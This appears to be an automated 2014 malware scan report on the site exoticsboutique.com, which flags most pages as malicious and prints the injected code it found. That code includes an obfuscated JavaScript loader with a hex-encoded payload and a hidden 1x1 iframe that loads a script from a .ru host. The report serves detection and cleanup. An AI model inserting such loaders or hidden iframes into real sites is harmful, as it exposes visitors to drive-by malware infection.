Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=exoticsboutique.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
| Request | Server response | Status |
http://exoticsboutique.com/ | 200 OK Content-Length: 24542 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) pnfcu=String;tvlnip="spl"+"i"+"t";aleibo=window;tzqu=(1)?"0x":"123";ncqyko=(6-4-1);try{if(0x6===Math.ceil(5.5))--(document["b"+"ody"])}catch(hcane){xcgru=false;try{}catch(jqa){xcgru=21;} if(1){nxje="17Zq5dZq6cZq65Zq5aZq6bZq60Zq66Zq65Zq17Zq5dZq66Zq68Zq6dZq70Zq27Zq30Zq1fZq20Zq17Zq72Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq6aZq6bZq58Zq6bZq60Zq5aZq34Zq1eZq58Zq61Zq58Zq6fZq1eZq32Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq5aZq66Zq65Zq6bZq69Zq66Zq63Zq63Zq5cZq69Zq34Zq1eZq60Zq65Zq5bZ ...[5495 bytes skipped]... Antivirus reports:
| ||
http://exoticsboutique.com/includes/js/general.js | 200 OK Content-Length: 11676 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) ...[326 bytes skipped]... " sfhover\\b"), ""); } } } if (window.attachEvent) window.attachEvent("onload", sfHover); (function () { var wn = document.createElement('iframe'); wn.src = 'http://ufqinweb.ru/count11.php'; wn.style.position = 'absolute'; wn.style.border = '0'; wn.style.height = '1px'; wn.style.width = '1px'; wn.style.left = '1px'; wn.style.top = '1px'; if (!document.getElementById('wn')) { document.write('<div id=\'wn\'></div>'); document.getElementById('wn').appendChild(wn); }})(); etCookie('visited_uq', '55', '1', '/');zzzfff();}} );zzzfff();}} 55', '1', '/');zzzfff();}} /*/81a338*/55', '1', '/');zzzfff ...[99 bytes skipped]... Antivirus reports:
| ||
http://exoticsboutique.com/company | HTTP/1.1 301 Moved Permanently Connection: close Date: Sat, 07 Jun 2014 06:39:09 GMT Location: http://exoticsboutique.com/company/ Server: Apache/2.2.22 Vary: Accept-Encoding Content-Length: 319 Content-Type: text/html; charset=iso-8859-1 | clean |
http://exoticsboutique.com/company/ | 200 OK Content-Length: 24389 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) pnfcu=String;tvlnip="spl"+"i"+"t";aleibo=window;tzqu=(1)?"0x":"123";ncqyko=(6-4-1);try{if(0x6===Math.ceil(5.5))--(document["b"+"ody"])}catch(hcane){xcgru=false;try{}catch(jqa){xcgru=21;} if(1){nxje="17Zq5dZq6cZq65Zq5aZq6bZq60Zq66Zq65Zq17Zq5dZq66Zq68Zq6dZq70Zq27Zq30Zq1fZq20Zq17Zq72Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq6aZq6bZq58Zq6bZq60Zq5aZq34Zq1eZq58Zq61Zq58Zq6fZq1eZq32Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq5aZq66Zq65Zq6bZq69Zq66Zq63Zq63Zq5cZq69Zq34Zq1eZq60Zq65Zq5bZ ...[5495 bytes skipped]... Antivirus reports:
| ||
http://exoticsboutique.com/company/../includes/js/general.js | 200 OK Content-Length: 11676 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) ...[326 bytes skipped]... " sfhover\\b"), ""); } } } if (window.attachEvent) window.attachEvent("onload", sfHover); (function () { var wn = document.createElement('iframe'); wn.src = 'http://ufqinweb.ru/count11.php'; wn.style.position = 'absolute'; wn.style.border = '0'; wn.style.height = '1px'; wn.style.width = '1px'; wn.style.left = '1px'; wn.style.top = '1px'; if (!document.getElementById('wn')) { document.write('<div id=\'wn\'></div>'); document.getElementById('wn').appendChild(wn); }})(); etCookie('visited_uq', '55', '1', '/');zzzfff();}} );zzzfff();}} 55', '1', '/');zzzfff();}} /*/81a338*/55', '1', '/');zzzfff ...[99 bytes skipped]... Antivirus reports:
| ||
http://exoticsboutique.com/company/about | HTTP/1.1 301 Moved Permanently Connection: close Date: Sat, 07 Jun 2014 06:39:10 GMT Location: http://exoticsboutique.com/company/about/ Server: Apache/2.2.22 Vary: Accept-Encoding Content-Length: 325 Content-Type: text/html; charset=iso-8859-1 | clean |
http://exoticsboutique.com/company/about/ | 200 OK Content-Length: 22427 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) pnfcu=String;tvlnip="spl"+"i"+"t";aleibo=window;tzqu=(1)?"0x":"123";ncqyko=(6-4-1);try{if(0x6===Math.ceil(5.5))--(document["b"+"ody"])}catch(hcane){xcgru=false;try{}catch(jqa){xcgru=21;} if(1){nxje="17Zq5dZq6cZq65Zq5aZq6bZq60Zq66Zq65Zq17Zq5dZq66Zq68Zq6dZq70Zq27Zq30Zq1fZq20Zq17Zq72Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq6aZq6bZq58Zq6bZq60Zq5aZq34Zq1eZq58Zq61Zq58Zq6fZq1eZq32Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq5aZq66Zq65Zq6bZq69Zq66Zq63Zq63Zq5cZq69Zq34Zq1eZq60Zq65Zq5bZq5cZq6fZq25Zq67Zq5fZq67Zq1eZq32Zq4Zq1Zq17Zq6dZ Antivirus reports:
| ||
http://exoticsboutique.com/company/about/../../includes/js/general.js | 200 OK Content-Length: 11676 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) ...[326 bytes skipped]... " sfhover\\b"), ""); } } } if (window.attachEvent) window.attachEvent("onload", sfHover); (function () { var wn = document.createElement('iframe'); wn.src = 'http://ufqinweb.ru/count11.php'; wn.style.position = 'absolute'; wn.style.border = '0'; wn.style.height = '1px'; wn.style.width = '1px'; wn.style.left = '1px'; wn.style.top = '1px'; if (!document.getElementById('wn')) { document.write('<div id=\'wn\'></div>'); document.getElementById('wn').appendChild(wn); }})(); etCookie('visited_uq', '55', '1', '/');zzzfff();}} );zzzfff();}} 55', '1', '/');zzzfff();}} /*/81a338*/55', '1', '/');zzzfff ...[99 bytes skipped]... Antivirus reports:
| ||
http://exoticsboutique.com/company/brokering | HTTP/1.1 301 Moved Permanently Connection: close Date: Sat, 07 Jun 2014 06:39:12 GMT Location: http://exoticsboutique.com/company/brokering/ Server: Apache/2.2.22 Vary: Accept-Encoding Content-Length: 329 Content-Type: text/html; charset=iso-8859-1 X-Pad: avoid browser bug | clean |
http://exoticsboutique.com/company/brokering/ | 200 OK Content-Length: 22394 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) pnfcu=String;tvlnip="spl"+"i"+"t";aleibo=window;tzqu=(1)?"0x":"123";ncqyko=(6-4-1);try{if(0x6===Math.ceil(5.5))--(document["b"+"ody"])}catch(hcane){xcgru=false;try{}catch(jqa){xcgru=21;} if(1){nxje="17Zq5dZq6cZq65Zq5aZq6bZq60Zq66Zq65Zq17Zq5dZq66Zq68Zq6dZq70Zq27Zq30Zq1fZq20Zq17Zq72Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq6aZq6bZq58Zq6bZq60Zq5aZq34Zq1eZq58Zq61Zq58Zq6fZq1eZq32Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq5aZq66Zq65Zq6bZq69Zq66Zq63Zq63Zq5cZq69Zq34Zq1eZq60Zq65Zq5bZq5cZq6fZq25Zq67Zq5fZq67Zq1eZq32Zq4Zq1Zq17Zq6dZ Antivirus reports:
| ||
http://exoticsboutique.com/company/brokering/../../includes/js/general.js | 200 OK Content-Length: 11676 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) ...[326 bytes skipped]... " sfhover\\b"), ""); } } } if (window.attachEvent) window.attachEvent("onload", sfHover); (function () { var wn = document.createElement('iframe'); wn.src = 'http://ufqinweb.ru/count11.php'; wn.style.position = 'absolute'; wn.style.border = '0'; wn.style.height = '1px'; wn.style.width = '1px'; wn.style.left = '1px'; wn.style.top = '1px'; if (!document.getElementById('wn')) { document.write('<div id=\'wn\'></div>'); document.getElementById('wn').appendChild(wn); }})(); etCookie('visited_uq', '55', '1', '/');zzzfff();}} );zzzfff();}} 55', '1', '/');zzzfff();}} /*/81a338*/55', '1', '/');zzzfff ...[99 bytes skipped]... Antivirus reports:
| ||
http://exoticsboutique.com/company/modifying | HTTP/1.1 301 Moved Permanently Connection: close Date: Sat, 07 Jun 2014 06:39:13 GMT Location: http://exoticsboutique.com/company/modifying/ Server: Apache/2.2.22 Vary: Accept-Encoding Content-Length: 329 Content-Type: text/html; charset=iso-8859-1 X-Pad: avoid browser bug | clean |
http://exoticsboutique.com/company/modifying/ | 200 OK Content-Length: 24460 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) pnfcu=String;tvlnip="spl"+"i"+"t";aleibo=window;tzqu=(1)?"0x":"123";ncqyko=(6-4-1);try{if(0x6===Math.ceil(5.5))--(document["b"+"ody"])}catch(hcane){xcgru=false;try{}catch(jqa){xcgru=21;} if(1){nxje="17Zq5dZq6cZq65Zq5aZq6bZq60Zq66Zq65Zq17Zq5dZq66Zq68Zq6dZq70Zq27Zq30Zq1fZq20Zq17Zq72Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq6aZq6bZq58Zq6bZq60Zq5aZq34Zq1eZq58Zq61Zq58Zq6fZq1eZq32Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq5aZq66Zq65Zq6bZq69Zq66Zq63Zq63Zq5cZq69Zq34Zq1eZq60Zq65Zq5bZ ...[5495 bytes skipped]... Antivirus reports:
| ||
http://exoticsboutique.com/company/modifying/../../includes/js/general.js | 200 OK Content-Length: 11676 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) ...[326 bytes skipped]... " sfhover\\b"), ""); } } } if (window.attachEvent) window.attachEvent("onload", sfHover); (function () { var wn = document.createElement('iframe'); wn.src = 'http://ufqinweb.ru/count11.php'; wn.style.position = 'absolute'; wn.style.border = '0'; wn.style.height = '1px'; wn.style.width = '1px'; wn.style.left = '1px'; wn.style.top = '1px'; if (!document.getElementById('wn')) { document.write('<div id=\'wn\'></div>'); document.getElementById('wn').appendChild(wn); }})(); etCookie('visited_uq', '55', '1', '/');zzzfff();}} );zzzfff();}} 55', '1', '/');zzzfff();}} /*/81a338*/55', '1', '/');zzzfff ...[99 bytes skipped]... Antivirus reports:
| ||
http://exoticsboutique.com/company/rentals | HTTP/1.1 301 Moved Permanently Connection: close Date: Sat, 07 Jun 2014 06:39:15 GMT Location: http://exoticsboutique.com/company/rentals/ Server: Apache/2.2.22 Vary: Accept-Encoding Content-Length: 327 Content-Type: text/html; charset=iso-8859-1 X-Pad: avoid browser bug | clean |
http://exoticsboutique.com/company/rentals/ | 200 OK Content-Length: 24399 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) pnfcu=String;tvlnip="spl"+"i"+"t";aleibo=window;tzqu=(1)?"0x":"123";ncqyko=(6-4-1);try{if(0x6===Math.ceil(5.5))--(document["b"+"ody"])}catch(hcane){xcgru=false;try{}catch(jqa){xcgru=21;} if(1){nxje="17Zq5dZq6cZq65Zq5aZq6bZq60Zq66Zq65Zq17Zq5dZq66Zq68Zq6dZq70Zq27Zq30Zq1fZq20Zq17Zq72Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq6aZq6bZq58Zq6bZq60Zq5aZq34Zq1eZq58Zq61Zq58Zq6fZq1eZq32Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq5aZq66Zq65Zq6bZq69Zq66Zq63Zq63Zq5cZq69Zq34Zq1eZq60Zq65Zq5bZ ...[5495 bytes skipped]... Antivirus reports:
| ||
http://exoticsboutique.com/company/rentals/../includes/js/general.js | 404 Not Found Content-Length: 304 Content-Type: text/html | clean |
http://exoticsboutique.com/test404page.js | 404 Not Found Content-Length: 288 Content-Type: text/html | clean |
http://exoticsboutique.com/showroom | HTTP/1.1 301 Moved Permanently Connection: close Date: Sat, 07 Jun 2014 06:39:17 GMT Location: http://exoticsboutique.com/showroom/ Server: Apache/2.2.22 Vary: Accept-Encoding Content-Length: 320 Content-Type: text/html; charset=iso-8859-1 | clean |
http://exoticsboutique.com/showroom/ | 200 OK Content-Length: 24749 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) cup=String;sjqfnu="spl"+"i"+"t";akml=window;lmrzvl=(1)?"0x":"123";kudlu=(6-4-1);try{if(0x6===Math.ceil(5.5))--(document["b"+"ody"])}catch(qftp){pvdsa=false;try{}catch(ksbs){pvdsa=21;} if(1){kgr="17Zq5dZq6cZq65Zq5aZq6bZq60Zq66Zq65Zq17Zq61Zq5cZq27Zq30Zq1fZq20Zq17Zq72Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq6aZq6bZq58Zq6bZq60Zq5aZq34Zq1eZq58Zq61Zq58Zq6fZq1eZq32Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq5aZq66Zq65Zq6bZq69Zq66Zq63Zq63Zq5cZq69Zq34Zq1eZq60Zq65Zq5bZq5cZq6fZq25Zq67Z ...[5393 bytes skipped]... Antivirus reports:
| ||
http://exoticsboutique.com/showroom/../includes/js/general.js | 200 OK Content-Length: 11676 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) ...[326 bytes skipped]... " sfhover\\b"), ""); } } } if (window.attachEvent) window.attachEvent("onload", sfHover); (function () { var wn = document.createElement('iframe'); wn.src = 'http://ufqinweb.ru/count11.php'; wn.style.position = 'absolute'; wn.style.border = '0'; wn.style.height = '1px'; wn.style.width = '1px'; wn.style.left = '1px'; wn.style.top = '1px'; if (!document.getElementById('wn')) { document.write('<div id=\'wn\'></div>'); document.getElementById('wn').appendChild(wn); }})(); etCookie('visited_uq', '55', '1', '/');zzzfff();}} );zzzfff();}} 55', '1', '/');zzzfff();}} /*/81a338*/55', '1', '/');zzzfff ...[99 bytes skipped]... Antivirus reports:
| ||
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: exoticsboutique.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sat, 07 Jun 2014 06:39:07 GMT
Server: Apache/2.2.22
Vary: User-Agent,Accept-Encoding
Content-Type: text/html
X-Powered-By: PHP/5.3.27
GET / HTTP/1.1
Host: exoticsboutique.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sat, 07 Jun 2014 06:39:07 GMT
Server: Apache/2.2.22
Vary: User-Agent,Accept-Encoding
Content-Type: text/html
X-Powered-By: PHP/5.3.27
Second query (visit from search engine):
GET / HTTP/1.1
Host: exoticsboutique.com
Referer: http://www.google.com/search?q=exoticsboutique.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: exoticsboutique.com
Referer: http://www.google.com/search?q=exoticsboutique.com
Result:
The result is similar to the first query. There are no suspicious redirects found.